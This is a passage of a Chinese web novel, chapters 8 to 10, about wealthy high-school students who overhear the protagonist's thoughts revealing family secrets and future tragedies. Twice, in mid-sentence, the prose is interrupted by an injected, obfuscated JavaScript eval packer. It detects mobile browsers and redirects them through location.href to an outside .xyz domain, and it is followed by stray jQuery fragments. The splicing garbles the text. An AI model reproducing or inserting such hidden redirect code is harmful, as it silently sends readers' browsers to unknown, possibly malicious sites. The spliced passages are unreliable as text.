刘朝尹应了一声,但目光又开始神游,落在那个背影窈窕的白色礼裙上,不自觉地握紧了手里的手。 从外面走会来的应佳仪看着这一幕,不由地松了口气,心里的疑云也散了点。 【真厉害啊。】顾央的心声相当适宜地响起,【这赘婿还这让他当上了。】 【应佳仪到底看上他什么了,是被下了降头吗?还是父母之命媒妁之言,她居然这么封建吗?】 应佳仪脸色一僵。 什么叫这赘婿让他当上了,说的不会是喻舟吧? 不应该啊?抛开提前被顾央乱七八糟塞进来的主观初印象,她对喻舟这个人本身也没多大好感。 【…居然是强扭的瓜?一个高中生,哪里学的这些东西?玩的这么脏。】 【他——】 心声戛然而止,因为顾央被打断了。 他到底对我干了什么啊啊啊—— 应佳仪在心里土拨鼠尖叫,恨不得把鞋脱下来砸在那个不长眼打岔的人身上。 但打断他们的人也并不是什么小人物。 而是这场宴会的东道主,陆家的大少爷,陆铮。 陆铮是陆家长子,大了他们一轮,海外留学回来后就正式进入了自家的集团上班,不出意外,以后整个陆家都是他来接手了。 站在台上的男人脸上带着微微的歉意,但不会让人觉得卑微,依然是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807861|158550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风度翩翩。 他解释因为身体原因,今晚接风宴的主角,也就是他的二弟没有办法过来,在此表示歉意并且希望大家依然能够拥有一个美好的夜晚。 这个解释乍一听起来合情合理,毕竟在给出的说法里,陆家二少爷就是因为体弱才一直没有出现在大众视野里。 “来不了了?”余白满脸惊讶,“有没有搞错啊,这么重要的场合,要是我的话,爬也要爬过来啊。” “还真是拎不清啊。”轻佻的声音从背后传来,紧接着一条胳膊揽在了余白的胳膊上,“好不容易陆家愿意认他,这么好的机会都抓不住,陆家又不可能给他办第二次接风宴,养在外面的野种就是上不得台面啊。” “你说对吧,小白?” 凑过来搭话的男生穿着他们同款的明德校服,过长的刘海往后梳成了苹果头的发型,看着就是一副乖乖牌的样子。 然而话痨属性点满的余白,在此刻却只是尴尬一笑没有搭话。 因为此男就是根搅屎棍,唯恐天下不乱的乐子人一枚,谁沾谁倒霉,他还是闭嘴好了。 应佳仪本来就烦,冷漠地剜了那人一眼。 “哟哦,应大小姐。”男生笑嘻嘻地舞着手指打招呼,“别这么不高兴嘛,这不是一件好事吗?” 应佳仪知道他话里的意思指提前知道了就能早做打算,但还是忍不住呛声:“叶郴,这里有你什么事?我还轮不到你来教我做事。” 她现在心里烦得很,路过的狗来了都得挨一脚踹。 因为宴会的主角今天注定是无法出场了,所以过来的人就原地聊了起来。 他们同辈分的人慢慢地都聚拢过来,顾央已经看了一天这群面孔,此刻觉得腻歪,别过头:“好闷。” 众同学都是无语,刚刚还觉得冷,现在又说闷,不就是嫌他们吵吗? 班长倒是善解人意:“闷得话就出去透口气吧,反正现在也没什么事了。” 完全无视一圈同学想要刀人的眼神,毕竟他们热脸贴冷屁股都要贴上来,不就是想继续吃点瓜吗?哪有这么赶人的? 应佳仪一下急了,憋着火看向班长。 “我不是要故意拦着不让你知道。”班长的逻辑相当清晰,“现在的情况是这样,我们从下午就能听到阿央心里的想法。” “不管是你还是沈铭君,阿央对和你们有关的事情都非常熟悉,有很大可能,不只是你们,也包括了我们。“说到这里时班长顿了下,稍显复杂的目光看着顾央慢慢离去的背影,“但是你有没有注意到,他甚至是知道你以后会和谁在一起。” “我去,这已经是预知未来了。”余白反应过来,如果说前面还是属于豪门秘辛,保不准是顾家哪个长辈跟顾央透露的,那这一点的含金量可就不一样了。 应佳仪沉默下来,她在强迫自己冷静:“你说的对。” “所以我们现在,比起急切地去获得情报……” “更应该先验证情报的准确性。”应佳仪理了下头发,“得找个近点的。” 而那边,顾央跟陆铮刚好迎面碰上,他们没有交流,只是互相点头问好,擦身而过。心声也在这个时候响起。 「说起来陆家接回来的那个少爷,确实是因为身体不适没有办法到场,但他身体不适的原因,是对花粉严重过敏,酒店外面的走廊上摆满了鲜花,人刚到这里,就因为过敏性休克紧急进了医院。」 听到这话,聚在一起的同学脸色都有了些许变化,应佳仪立刻说道:“我去问一下我爸妈。” 世界上最恶毒的事情之一就是八卦只放一半,但顾央并没有意识到自己做了多么罪恶的事情,端着手里的茶走了出去。 但才刚刚走过拐角,他手里的茶就扑通一下掉了下去。 那个陶瓷杯被一只手及时捞住,避免了四分五裂的下场。 顾央看着走廊尽头,沈铭君的父亲搂着一个女人肆意亲吻,原本精心打理的头发散落袭来,他看到了对方脖颈间的翡翠项链。 是宋琴琴。 他妻子的妹妹。 8. 第 8 章 现在的情况有点复杂。 距离名流聚集的宴会场不到几十米的地方,有一对狗男女正在偷情,而且这两个人勉强也算他的长辈。 顾央探出头又看了一眼,那边亲得如火如荼,宋琴琴的衣带都散了下来,沈山则是满脸的意乱情迷。 他默默撤回了头。 谁想看中年男女的亲密戏啊? 顾央嫌弃地腹诽,转眼间又和一双漆黑的丹凤眼对了上去。 好近,近得连扫过来呼吸都能感受到。 这条过道里刚好有个凹进去的空隙,原本应该是用来放嵌入式饮水机之类的东西,现在却要容纳两个长手长脚的男生蜷缩在里面,拥挤到脸都快贴到一起了。 真是莫名其妙。 他为什么要躲?顾央无聊地想道。 被看到又怎么了?尴尬的人又不是他。 这么愉快地决定后,顾央松开宋引星就想要往外面移,结果脚刚迈出去,就被人抓着后领拽了回来。 主被动关系瞬间颠倒,他被卡在墙砖上,死死捂住嘴动弹不得,直到高跟鞋和皮鞋的声音渐渐远去。 桎梏松开以后,顾央终于得以出去,空荡的走廊上不再有人的踪影,他转过身: “为什么非要躲起来呢?”他探向前面,嘴角往上一勾,语调中带着说不出的暧昧,“是太害羞了吗?” “没有。”宋引星硬邦邦地说道,“他们是这里的贵客,我怕被上眼药,拿不到工资。” 虽然这么说,但他的耳廓却通红一片。 “工资?”顾央才注意到宋引星穿着侍者服,“你在这里打工?为什么?明德的助学金不够用了?” “够用。”宋引星抬起眼看他,“我在攒钱,你的一万块钱,我会还给你的。” “你居然还真记着。”听到这话,顾央饶有兴致地笑了出来,“我不是说了吗,我不缺这点钱。” 要不说能当主角呢,白天读书晚上兼职也要还钱,还能做到下午出事晚上就能无缝对接进来打工的。 “……”宋引星沉默片刻,才固执地重复着,“我会还给你的。” 顾央瞬间又觉得无趣起来,换了个话题:“刚刚看到他们时,你心里是怎么想的?” “是在想着,还真是郎才女貌,天打雷劈的一对,就是稍微腻歪了点,居然还在外面就这么急不可耐?” “但如果我告诉你,他们两边孩子都已经上高中了,男方还有自己的法定伴侣,现在这种行为是属于红杏出墙,你又会怎么想?” 宋引星顿了下,但表情看不出什么变化:“没想法。” 没能得到自己想象中的反应,顾央带着些许不可思议,扒拉在对方身上上上下下将人打量了一遍。 “那如果我再告诉你,男方的法定伴侣是女方的妹妹,而且他的伴侣就是小三上位,也就是说,这女的是个小四,那小四的孩子还……” “没想法!”宋引星的情绪有瞬间的起伏,但他还是义无反顾扒开了顾央,相当有分寸地说道,“我要去换班了,迟了还得扣工资,再见!” “哈?”顾央看着对方离去的背影,脸上写满了情绪化的不解,他不明白为什么这世界上有人会不喜欢听八卦的。 这人是得多无趣,谁当他以后对象,不得倒了八辈子大霉? -应佳仪翘首以盼,眼睛都要把门给盯穿了,才等到顾央姗姗来迟。 她刚刚去问了她妈妈,印证了陆家少爷确实是刚来到酒店没几分钟,就脸色不对地倒了下去。 虽然不知道到底是怎么回事,但这种事情显然不宜声张,所以他们只是赶紧把人先送去了医院,应夫人还在惊讶她从哪里得到的消息。 而送往的地方是家私人医院,刚好是叶郴家里的产业,他打听了下,医生给出的诊断是过敏反应引起的严重休克,致敏源还在测。 但估计也八九不离十了。 顾央是真的知道,他说的那些居然都是真的。 在场的众人之间相互交换着眼色,暗流在他们之间攒动,但大家都识相地不说话,等待着目前唯一受害者应佳仪发话。 “顾央。”应佳仪思忖着措辞,她已经很久没买这么过脑地说一次话了,“……你觉得喻舟这个人怎么样。” “怎么样?”顾央听到这句话,反问道,“你觉得他怎么样?” 应佳仪哽住,能怎么样,她已经在心里给喻舟这货判处死刑了。 顾央看她这个反应,又想到之前余白说过应佳仪超爱的话。 “我觉得不怎么样,你们俩不合适。” 应佳仪问道:“怎么个不合适法。” “赘婿要不得。”顾央坦诚地说道。 “话可不能这么说,你看,我爸爸也是个赘婿,他和我妈不也挺好的吗?”应佳仪忍着恶心,循循善诱地引导话题。 谁能想到,就在今天以前,她最听不得的,就是有人骂她爸是赘婿。 顾央脸上又露出嫌弃,藏也不藏一下,这份嫌弃明晃晃地冲着应佳仪来的,她能感受到。 要不是他们之间有信息差,她听过顾央的心声知道前因后果,这天真的很难聊下去。 「人一旦犯了恋爱脑真的好可怕。」 「应佳仪原本的计划就是毕业之后就出国留学,申请的学校offer都下来了,喻舟怕夜长梦多,所以干脆把她约了出来,下药拍了照片作为威胁。」 「正逢应雪瑛被检查出癌症,正在手术的准备期,应佳仪为了不让她妈妈操心,就只告诉了刘朝尹。」 「只可惜她鼓起勇气也没能摆脱局面,刘朝尹反而趁机将喻舟一起送出了国,并且在这期间的生活费全部打给喻舟,以照顾的名义方便他拿捏应佳仪。」 「应佳仪当时孤身在国外,刘朝尹从很早以前就有在陆续收购散股,加上在应雪瑛住院期间亲自悉心照顾,公司医院两头跑,感化了一直有偏见的应老爷子,将自己名下的股份转给刘朝尹,方便他管理集团。」 “佳仪——”余白失声喊道。 因为应佳仪哭了,错愕的眼泪止不住地从脸上流下,晕开了眼尾的眼线。 顾央的心声也停了下来,他难得看起来这么茫然,不知所措地看着面前的女生。 “没事,我身体有点不舒服,你们继续玩,我让司机送我回家休息。”应佳仪僵硬地推开想要扶她的余白,转身仓促地就要离开。 班长搭了下她的肩膀,低声说了句:“有需要帮忙的来找我。” 应佳仪勉强点了下头,过于离谱的信息量让她喘不上气来。 她现在必须要做点什么,一个是赶紧带她妈妈去医院检查,还有散股收购的事情。 走出大厅后,她吹了好几分钟冷风平复下心情,然后拨了个电话出去:“外公,虽然这么说很突然,但我有件事情想拜托您查一下……” “怎么了吗?” 班长看着顾央,轻声问道:“还在想小应的事情吗?” 顾央没有说话,厚重的眼睫盖住了放空的眼神,他单手倚靠在阳台的围栏旁边,浓郁的夜色笼罩着他的脸。 在楼下不知道站了多久的应佳仪终于上了自家的车提前离开,车灯逐渐消失在了视野中。 “她哭什么?”他喃喃说道,似是提问,又似是自语。 班长想说点什么,但只是无奈地摊了下手。 没有办法,这是一个他们十一班之间的秘密,只有顾央不能知道的秘密。 虽然有点狡猾,但目前也只能这样了。 顾央不喜欢眼泪,应该说,他很害怕眼泪。 曾经有一个女人,蹲在地上,把头埋进他的颈窝里,温热的液体濡湿了衣服,传递着触目惊心的温度。 没能砸落在地上的眼泪,最终四分五裂,给他的世界带来了一场旷日持久的地震。 他承受不了眼泪带来的重量。 缺少了主人公的宴会结束得比以往都快。 等人都散得差不多了,一个年近五十的男人走了过来,他的手里拿着一件大衣,恭恭敬敬地站在落地窗边上。 “黄叔。”班长点头问好。< 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“之前没见过,谁送你的?”顾家是靠珠宝发家的,至今整个集团最赚钱的子公司也都是珠宝行业,顾俞辉扫了一眼就看出了这串手链的价值。 “贺明安。”顾央打开了那个盒子,深红的缎面上面置着一枚钻石胸针,样式复古而内敛。 “又是贺家那孩子啊,他对你也算是有心了,还在读书出手就这么阔绰。” 顾俞辉笑了下,“你们从小学就是一个班,一起长大的情谊别人比不了,万和以后肯定是他来继承,你弟弟和他一直处不好关系,以后两家的联系都靠你了。” “人家对你好,你也不能小气,到时候我再打笔钱到你的账户上。” 顾央很浅很浅地嗯了一声,然后就不再说话,闭上了眼睛,这是他惯用的表达拒绝交流的姿态。 他的身体顺着靠座往下蜷缩了点,大衣的褶皱柔软地堆叠起来,遮挡住了下颌。 车里彻底安静了下来,只剩下汽车运转的轰鸣声。 也许是前一夜休息地太晚,闭眼后,顾央居然真的迷迷糊糊地偏头睡了过去,直到黄叔将他轻柔地推醒:“已经到了,大少爷。” 顾央半眯着眼睛,裹紧衣服往下走。 突然间,他跟想到了什么似的转过了头:“黄叔,你一个月的工资有多少?” 大致报了个数字后,黄叔温厚地问道:“发生了什么事吗?大少爷?” “你说一个学生,想要赚够一万块钱需要多少时间?” “学生只能做兼职,这种一般都是按时薪算的,不会太高,十几块左右。”黄叔从顾央的表情里看不出什么东西,他试探问道,“是少爷的朋友吗?” “算不上吧。”顾央懒洋洋地说道。 -宴会结束后的整理和清扫也是一个相当费时的工作。 宋引星一声不吭地提着装满的最后两大袋垃圾拿出去扔掉。 “真是辛苦你了,小宋。”负责帮厨的大妈满脸笑容,“这活本来不该你来干,你这孩子就是太实诚了,给我们省了大力气。” 宋引星摇摇头:“哪里的话,陈姨,是我该感谢您推荐我过来,这点不算好” “诶哟,这是哪里的话,我跟你妈那都是老相识,况且这都是脏活累活,委屈你这个高材生了。”陈姨说完,又关切地问道,“你妈妈最近情况怎么样,还好吗?” “最近还不错,饭也能吃得下了。”话题点到为止,没有继续深入,宋引星推却了几下,终究收下了对方好心给他打包好的晚宴上剩下的点心。 夜晚的寒气很重,他扫了部单车抓紧时间回去,然后就着打包的点心当做夜宵边看书边吃,又学习了几个小时后才上床休息。 关灯后,宋引星并没有如同往日一样马上就能睡过去,他闭上眼睛后足足过去了十几分钟,才在伸手不见五指的房间里,幽幽地睁开了眼睛。 那小四的孩子。 究竟还干什么了? 9. 第 9 章 隔日应佳仪没有来上课。 聂瑛那个万年旷课的校霸今天倒是相当难得地来了个大早。只是他的脸色不太好看,脸上贴着胶布,浑身散发着一股生人勿近的低气压。 他的位置在后排,横着双大长腿,经过的同学跨过去也不是,想让他收一收也不是,深怕惹到了这个疯子白挨一顿揍,只能都从前面绕过去。 “大早上的。”余白一进教室就看到这晦气景象,从喉咙里挤出一句气声。 但只可惜平时能跟他一起吐槽的好姐妹今天不在,顾央来倒是来了,大清早又趴在那里睡觉,他跟聂瑛的座位离得很远,颇有种井水不犯河水的架势。 数学老师抱着一堆资料,看着教室里面这幅稀稀拉拉的景象,就知道今天也就这样了。 唯一值得欣慰的是,今天来上课的人,比以往任何一天都要齐。 他早上从年级组长那里拿到了上次月考的成绩单,按照惯例在小黑板上贴了纸。 在他干这件事的时候,已经有很多同学低头看起了手机。 明德高中的管理条例中对于手机没有禁令,背后的万和教育甚至开发出了专门的app万音,供万和系的学生使用。 功能包括但不限于饭卡充值教室预约成绩放送课表查询活动通知搜索企业内联系人等等你所能想象到的一切在校期间会做的事情,体贴到了有点龟毛的程度。 所以在明德高中就读的学生基本人均一个以上的电子设备。 “卧槽,稀烂啊。”余白看了眼自己的成绩,默默捂住了脸,“我这个月零花钱完蛋了。” 自己不好受,他就忍不住祸害别人,推了把纹丝不动趴着的顾央,在他耳边发出对于每一个学生来讲都是如同噩梦一般的低语。 “醒醒别睡了,成绩出来了。” 但很明显这招对顾央没有用,他被翻了好几下后,终于勉为其难地抬头看了眼手机,风轻云淡地抛下了句保持住了,就继续睡回去了。 余白:“……” 换个不知道的,还以为这是哪个低调的学神在发表稳住第一的感言。 但他还不清楚顾央有几斤几两吗? “这次第一又是十班的宋引星啊,他比第二名高了三十分。” “真牛逼。” “你们听说没,考数学的时候他在的考场抓出两个作弊的,刚好都坐在宋引星旁边。”叶郴笑得纯良,但心里憋了一肚子坏水,“怎么就这么巧呢?” “你什么意思?”余白好奇问道,他实在不想粘叶郴,但架不住好奇心作祟。 “拿钱作弊啊。”叶郴对他眨了眨眼睛,“每次考试都一堆,反正考场都是随机分的,找个缺钱的特招生串通起来。” “这,这样啊。”余白干笑两声,眼睛止不住地往旁边瞟,心里暗骂自己就多余问这一句。 “呵,穷鬼有什么事情干不出来。”聂瑛在这时候突然开腔。 这一句话让全场陷入了尴尬的沉默,好几人都面面相觑,虽然当了这么久的同学,但他们还是没能习惯聂瑛时不时爆出的一句低素质发言。 谁管你心里怎么想的,就这么说出来也太low了。 都说聂家夫人不喜欢这个儿子,从小就没带在身边教养。 这么看起来,传言说不定是真的了。 “聂瑛。”在一片寂静中,班长温和地出声,“我们学校的特招生是根据中考成绩招进来的,实行免学费政策,跟家庭条件没有任何关系,你有本事的话你也可以拿。” “贺明安。”聂瑛冷笑了一声,他本来就憋了一肚子火气,整个人就是个随时会被点燃的火药桶,这下刚好给他找到了引子,他站起来,一脚踹掉自己面前的那张桌子。 坐在旁边的同学吓了一跳,害怕惹祸上身,纷纷离开座位。 “昨天是不是你打电话给我家老爷子告的状?我教训一下不懂事的特招生你都要掺一脚。” “你怎么一天到晚管那么多呢,不会真当这学校已经是你的了吧,啊?” 班长倒是屹然不动,还是那副温文尔雅的样子:“学校里禁止校园暴力,每学期都有相关的主题班会,你为什么就是记不住呢?” 聂瑛冷眼看着他,跟突然想起什么一样,露出很夸张的恍然大悟的表情,“我倒是忘记了,你是不是有个弟弟来着,还被你爸用特招生的名头给弄进来了?难怪一听我说特招生,你就坐不住了。” 贺明安那张一直以来都以微笑示人的面孔此刻毫无表情,他双手交叉着放在桌上,并没有对聂瑛明显侵略性的举动有所表示。 余白脸色僵硬,他没听懂聂瑛这话是什么意思,但也能够感受到现在班里的气氛到底有多难崩。 他被人用手肘挤了下,叶郴在那里偷笑,嘴唇上下碰撞着,用口型对他做出三个字,好贱啊。 顾央没再睡了,淡漠的眼神从下而上看着贺明安已经完全隐去笑意的脸,然后又看向聂瑛。 “你们兄弟俩原来感情都这么好了吗?不会平时私底下都在联系吧。”聂瑛一步步前逼,撑在贺明安的课桌上冷嘲着看他,“你妈知道这件事吗?” 【聂瑛他应该不知道吧,聂夫人之所以不待见他的原因。】 原本一触即发的气场在聂瑛和贺明安之间散开,聂瑛双目赤红地将目光锁定在顾央的身上。 什么? 全场气氛瞬间被盘活,原本只是紧张吃瓜的同学们瞬间眼睛一亮。 顾央又要开始了。 【那是因为聂瑛根本就不是聂夫人亲生的啊,他只是聂家一个保姆生下的孩子。】 【聂瑛如果知道他就是自己最看不上眼的那类人,也不知道会是什么表情。】 在聂瑛的视角中,靠在桌上的苍白少年,嘴角扯出一个要笑不笑的弧度,明明是在看他,好像又没在看他,那眼睛空空荡荡的,让人捉摸不透到底在想什么。 聂瑛最讨厌的就是他这副死出。 他头脑唰的空白,转身就要把顾央从座位上扯出来。 但比他离得还近的同学眼疾手快地拦在他的面前,甚至都顾不上招惹到聂瑛会有什么后果。 知道你急,但先别急,先让孩子把瓜给说完! “聂瑛,你知道吗?”顾央从桌板上撑起身子,“你实际上是……” 他话还没说完,就被余白从后一手捂住了嘴强行闭麦。 他们本来想听顾央再爆点瓜,但没想到这货前一秒还在想下一秒就直接讲了出来,执行力一绝。 教室外面凑了一堆路过看热闹的,而台上数学老师瑟瑟发抖地抬起尔康手,可惜无人在意。 余白觉得自己真是个大善人,他都不知道自己听到这个瓜后能不能安然无恙,还得去操心其他闲杂人等的安危。 眼看着这个诡异的空档,当了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807863|158550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半天空气的数学老师终于弱弱地开口:“同学们有话好好说,别、别打架……” 他这句话才说完,忍无可忍的聂瑛已经一拳砸在了拦着他的那个人的面中上,随着一声闷哼,被打的那个人也发了狠,两人撕扯着扭打在了地上。 叶郴吹了声口哨,拿起手机开始录起了视频。 余白无助地伸出了尔康手,想要阻止但有心无力,被他松开的顾央看着眼前这一幕,很轻地哇了声,探过身子观察战局。 趁着聂瑛还占上风的功夫,他决定重新给予对方痛击:“聂瑛,其实……” 余白再次手动给对方闭麦。 这下顾央来了脾气,他一把拍开余白的手,面无表情地问道:“你到底要干什么。” 余白满脸沧桑:“算我求您了祖宗,你是觉得现在的情形还不够乱吗?” 真的别说了,你要说的这些我们大家都知道了,而且现在就是因为这个打起来的。 “你们在教室干什么?还不快停下来!”副校长的怒吼声响彻了整层走廊。 被沸油加持的不和火焰在老师强势的介入下终于有了矮下去的趋势。 这件事完全就是恶性暴力斗殴,聂瑛毫无疑问是挑事者,只是考虑到他背后是聂氏集团,和明德高中所属的万和教育有很深的合作,不看僧面也得看佛面。 但教室里公然斗殴影响实在不好,已经有这么多学生看见了,他没办法,只能硬着头皮打电话找家长,带回家停学冷静几天。 聂瑛脸上破了几道口子,嘴角也被打出了淤青,双手插兜里靠在讲台边上。 在听到副校长拨电话给他妈妈时,额头上的青筋顿时暴起,他用令人胆寒的目光地剜了眼顾央,嘴里放下狠话:“你给我等着。” 顾央体会不到他的情绪从何而来,只是带着讽意地假笑了下。 等了会时间,尖头高跟鞋的声音不紧不慢地从走廊外响起。 走进来的是一个面容相当冷淡的女人,这份冷淡在面对她的儿子时依然没有任何变化,她甚至没有正眼瞧聂瑛一眼,只是向教导主任点了下头:“贺老师。” “实在是辛苦您特地来这么一趟,聂瑛妈妈。”虽然犯事在聂瑛,但副校长依然表现得相当客气,他是贺家旁支,因此才在这里捞了个校董的位置,多少清楚豪门的弯弯绕绕。 “还好,本来就要路过而已。”女人礼节性地微笑了下,“这孩子不争气,给你们添了麻烦。我现在就把他带回去,让他的父亲负责管教。” 言语间没有留任何情面,令所有人都忍不住啧舌。 虽然他们私底下也都听说了聂家母子关系一般,但没想到居然真就形同陌路。 顾央说的聂瑛是保姆生的这一说法,可信度飙升。 聂瑛不耐烦地打断了那两人的寒暄:“要停课就停课,有什么好啰嗦的。” 他脸上勉强维持着镇定的神情,但从出生起就从未感受过的慌乱席卷了他,他现在只想赶紧离开,找个没人的地方去确认这件事情。 副校长闭上了嘴,将相当为难的姿态做给了聂夫人看。 聂夫人微微鞠首以示歉意,便带着聂瑛打算告辞。 【在聂瑛十八岁成人礼那年,聂夫人把他们两个人的DNA报告作为生日礼物送给了聂瑛。】 【而也正是这件事情,让宋引星从此彻底陷入了万劫不复的境遇。】 10. 第 10 章 “在想什么呢?” 风波平静后的教室里,贺明安转过头,看着顾央手里拿着笔,笔尖落在草稿纸上,字迹凌乱地写下了三个字。 宋引星。 “你很关注那个特招生?” 关注? “他很可怜。”顾央用平铺的语气说道。 贺明安怔了下,随即露出无奈的笑:“确实是这样。” “宋同学他家里……情况有点复杂,当时招生的时候,学校就是因为了解到这点,打电话过去开出很丰厚的条件,所以他才会放弃去一中的机会来到我们这里。” 顾央一边听着,一边在纸上将那个名字画了个圈,他摇了摇头,似乎是在反驳某些东西。 “那天宋同学被为难,我没想到你居然出手了。”贺明安看着他,“真难得,你好像从来没有这么在意过谁。” “在意。”顾央重复了一句这个词,然后笑了出来,像是得到了心仪礼物的小孩,“嗯,我很在意他。” “那要不我把给他的资助金额再调高点吧。”贺明安的指尖划过他写的那个名字。 “你也在意他?”顾央抬起眼睛。 “我是想要谢谢你。”贺明安张了张口,欲言又止,“阿央,我……” “说起来聂瑛的生日就在下个星期了吧。”叶郴扬声说道,不怀好意地朝着贺明安笑了下,“真好啊,每年都在办,也不知道今年会是什么样子?” “这次可是成人礼啊,一定会更加精彩吧。”余白没敢吭声,他看了眼捧哏的的人,就是刚刚跟聂瑛互殴的那个,谢坞。 五官和骨相都是很锋利的形状,看着就是个刺头。 “你说他今年还会邀请我们吗?”叶郴明知故问,“顾央,你想去不去?” 他们都是在意有所指,只有顾央一个人蒙在鼓中。 “关我什么事?”顾央看都没看他一眼,“我是活得太开心了吗?非得去找不痛快。” “哈哈哈哈哈——”谢坞捶桌,“说得好,我也不乐意去,每次都是被我爸逼着过去,你倒是轻松,家里有个能顶上,轮不到你去。” 顾央扯了下嘴角:“那是他们臭味相投。” “不过说起来,你打算怎么谢我。”谢坞扯着椅子靠近顾央,然后指着自己脸上的淤青说道,“我这可是为了你挨的,刚刚要不是我拦得及时,那一拳可是要砸你身上了。” 他笑起来的时候带着股痞劲,让嘴里的话一下子就带上了调侃玩笑的意味。 顾央看着他。 【谢坞,我记得他好像没什么戏份,什么原因来着。】 【噢,为了救被小混混围住的宋引星,结果在混战中被小混混失手用钢棍砸到后脑勺当场没有了,怪不得没戏了。】 【这些小混混还是聂瑛花钱收买的,就是为了给宋引星找麻烦。】 【谢家因此迁怒上宋引星,谢坞大哥拿着那根杀死他弟弟的钢棍,把宋引星打了个半残,他左耳的鼓膜也被打穿,落了个终身弱听。】 顾央又仔仔细细地把这几行字横看竖看了好几遍,回过神来发现谢坞还在看他,回忆了下前文:“你想要我怎么谢你?” 谢坞:“……没事,已经不用谢了。” 我真是谢谢你了,怎么几句话的功夫,他人还就没了? 「哇,宋引星好冤种啊,这是什么绝世倒霉蛋。」 「真的,冤有头债有主,谢坞他哥怎么不查清楚再打?」 「我原本还觉得聂瑛只是有点暴力,没想到他居然能干出这么丧心病狂的事情。」 「果然少招惹他是对的。」 谢坞:「等等,你们没人替我发声吗?我都死了诶?」 「要不,你以后看到宋引星都绕着走?」 「离他远点呗,这是人家摊上的事,你管这么多干什么?」 「你不是还没事吗?下次出门记得带头盔(吃瓜.jpg)」 谢坞:「@清风徐来,谢谢,你是会安慰人的。」 谢坞烦恼地挠了下头,他其实压根就不认识宋引星,但就顾央说的那种情况,他脑子一热也确实会上去帮忙。 总不能都看到人家被围殴了,还假装无事发生吧。 ……要不,他以后真随身带个头盔好了? 【谢坞他哥这脑子还真是拎不灵清,怪不得后面谢家被整破产了。】 原本只是有点震惊,但谢坞脑子里没有多少实感,只是在盘算着怎么去避开,但一听到谢家破产,他心瞬间凉了。 我去,这题超纲了。 他只能在心里期盼着顾央仔透露点具体的。 【怎么又有宋琴琴的事情?沈山,刘朝尹,现在又加上这个谢坞。】 【这女人是魅魔吗?这么有实力,要不我把她介绍给顾俞辉吧?】 等一下—— 这两句话槽点过多,他们一时之间居然不知道从何吐槽起。 宋琴琴,就是那个想吃应佳仪绝户的喻舟的母亲,她是应佳仪她爸刘朝尹的白月光,但她生下的孩子是沈铭君他爸沈山也就是她姐夫的,而在以后,她居然还和谢坞他哥在一起,还弄垮了谢家。 而就是这么一个神人,顾央居然想把她介绍给顾俞辉?顾俞辉不是顾央他亲…… 是顾家现在太安稳了惹得这祖宗不高兴了吗? 这实在是有点太超前了,光是要理清人物关系就耗费了他们所有脑细胞。 没有一个人能够理解顾央的脑回路,但不妨碍他们都对顾央产生了一种诡异的畏惧。 十一班真正不能惹的人,原来在这里啊。 没有意识到全场突如其来的沉默,顾央又自顾自地沉浸在了自己的小世界里 放学后,收拾好东西的顾央和贺明安一起离开。 他们才从教学楼楼下走出去,顾央的脚步突然顿住:“我突然想起来还有点事情,你先回去吧。” “可是外面天都要黑了,不能明天再说吗?” “先不讲了。”顾央摆了摆手,很难得地露出一个还算明快的笑容,“等下帮我跟黄叔说声,拜拜。” 贺明安没有说话,他看着顾央走过去的方向,玻璃中的倒影在暗下来的天色中格外清晰。 宋引星。 顾央记得这个地方有个小剧情。 在小说里,在开场交代完主角受让人闻之落泪的凄惨身世后,宋引星在一次放学途中,正好撞见了聂瑛带人围堵外校的学生,他没有冲动地直接上前,而是选择了报警,但这个举动依然给他惹到了麻烦。 聂瑛不知道从哪里刚好得知到了究竟是谁在多管闲事,而又刚刚好,他手下两个跟班和宋引星同班。 那两跟班在月考中作弊,失手丢出去的纸条刚好落在宋引星脚边,被监考老师发现,他们记恨宋引星没帮忙遮掩,所以相当主动地撺掇聂瑛,才有了那天挑事的情景。 在原著里,没有顾央的介入,宋引星被逼无奈,只能下跪来延缓还债的时间。 月考出成绩的那天,老师在班级里表扬了发挥稳定的宋引星,同时隐晦地提点了下考试的诚信问题。 虽然没有提名字,但指的是谁大家都清楚,那俩跟班觉得颜面大失,放学后又来堵宋引星给他找不痛快。 “这不是我们的宋大学霸吗?” “放学了还不回去,留在这里做什么?” “你忘记了吗?大学霸可是报了个勤工俭学的岗位,在等着打扫教室呢。” “哇,那也太励志了吧~” “可不是啊,谁让他摊上一个欠了一屁股债的爹呢?” 宋引星冷眼看着自己这两个同班同学一唱一和的,他没有理会,在教室里面的人都出来以后,就打算进去打扫。 “等等啊,大学霸。”丁子雨拦在他的面前,“我们特地过来看你, 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“你还想勾搭上顾央啊,也不看看他能不能……” “我能不能怎么样?”一条胳膊从后面伸过来,揽住了丁子雨的肩膀。 “顾、顾央?”丁子雨嚣张的神色凝固,声音都有点结巴,他没转过头去,但那个声音实在太有特点,让他想认不出都难。 顾央为什么会在这里?不是都放学了吗? “嗯,答对了。”顾央侧头看向另一个跟班,“我不是把钱转给你了吗?为什么还要为难他?” “等等,你钱转给的不是我吗?”丁子雨失声说道,但在顾央注意力转移过来时,又恨不得抽自已一个大嘴巴子。 这该死的嘴。 “你刚刚说,因为你比他有钱,所以你对他做什么都是对的。”顾央慢悠悠地说着,脸上露出一个笑容,“那么这个道理来说,比你有钱的我,对你做什么也都是对的?” 